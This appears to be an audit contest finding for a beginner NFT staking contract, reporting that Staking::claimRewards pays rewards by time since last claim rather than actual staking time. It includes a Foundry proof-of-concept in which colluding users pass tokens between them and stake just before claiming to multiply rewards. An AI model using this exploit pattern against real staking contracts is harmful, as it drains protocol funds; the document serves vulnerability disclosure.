Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Improper staking time calculation leads to a serious coordinated rewards claim attack

Summary

The staking reward calculation is based on the last claim timestamp, which does not account for the actual staking time. A user can abuse this by staking just prior to making a new reward claim. Furthermore, a serious attack that withdraws a large amount of rewards is possible when multiple users collude.

Vulnerability Details

The root cause of this vulnerability is related to Staking::claimRewards, where the reward calculation is done based on the timestamp of the last claim, as shown below.

@> uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
@> uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
...

This allows a user to stake just before claiming the rewards so that the reward is calculated based on the single snapshot of the total staked amount at the time of getting the rewards. This practically makes the protocol reward users based on the time elapsed since the last claim, rather than the actual staking time of assets. When multiple users collude, they can obtain large rewards, as demonstrated in the PoC (can be added to StakingTest.t.sol) below.

function test_ClaimRewardsAttack() public {
// 1. mint NFT token
uint nftMintTimeStamp = block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
// 2. time lapse 1 weeks, get airdrop
uint weeksSinceNftMint = 1;
vm.warp(nftMintTimeStamp + weeksSinceNftMint * 1 weeks);
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
assertTrue(loveToken.balanceOf(soulmate1) == 7 ether);
assertTrue(loveToken.balanceOf(soulmate2) == 7 ether);
console2.log(loveToken.balanceOf(soulmate1));
// 3. attack
// 3.1. user1 sends all tokens to user2
vm.startPrank(soulmate1);
loveToken.transfer(soulmate2, loveToken.balanceOf(soulmate1));
vm.stopPrank();
// 3.2 user2 stakes, get rewards, send all to user1
vm.startPrank(soulmate2);
uint256 amountToStake = loveToken.balanceOf(soulmate2);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
stakingContract.claimRewards();
stakingContract.withdraw(amountToStake);
// balance = initial deposit 14 ether + stake rewards 14
assertTrue(loveToken.balanceOf(soulmate2) == 28 ether);
loveToken.transfer(soulmate1, loveToken.balanceOf(soulmate2));
vm.stopPrank();
// 3.3 user1 stakes, get rewards
vm.startPrank(soulmate1);
amountToStake = loveToken.balanceOf(soulmate1);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
stakingContract.claimRewards();
stakingContract.withdraw(amountToStake);
// balance = initial deposit 28 ether + stake rewards 28
assertTrue(loveToken.balanceOf(soulmate1) == 56 ether);
vm.stopPrank();
}

In this PoC, two users collude (more users can collude to obtain larger returns). The attack flow is summarized as follows:

  1. Users mint an NFT token.

  2. Wait for some time (e.g., 1 week in this example) to receive LoveToken airdrop.

  3. Colluded users start the attack. Note that, in this example, the first stake reward can be claimed without having to stake at least one full week due to another vulnerability (For the first stake reward, users are rewarded based on the NFT token creation timestamp instead of the actual staking time). However, this vulnerability is secondary in this exploit, and we will focus only on the main exploit here.

    1. User1 sends all their LoveTokens to User2.

    2. User2 stakes all tokens, gets rewards, withdraws, and sends all tokens (initial + rewards) to User1.

    3. User1 stakes all tokens, gets rewards.

    4. Repeat the attack, e.g., wait one week, a user deposits all tokens, gets rewards, withdraws, and sends all to another to get rewards again.

Impact

The impact of this issue is HIGH because colluded users can obtain much larger rewards than the protocol intended. The more users collude, the more serious the exploit can become.

Tools Used

Foundry

Recommendations

The protocol should enforce that the reward calculation accounts for the actual staking time as well, rather than solely relying on the last claim timestamp. Depending on the approach, a non-negligible amount of logic may need to be modified. For example, if a user is allowed to deposit more while having an active staking, then the new deposit time needs to be tracked separately, or the protocol should only allow a user to change the stake amount after receiving the current reward and resetting the staking status.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.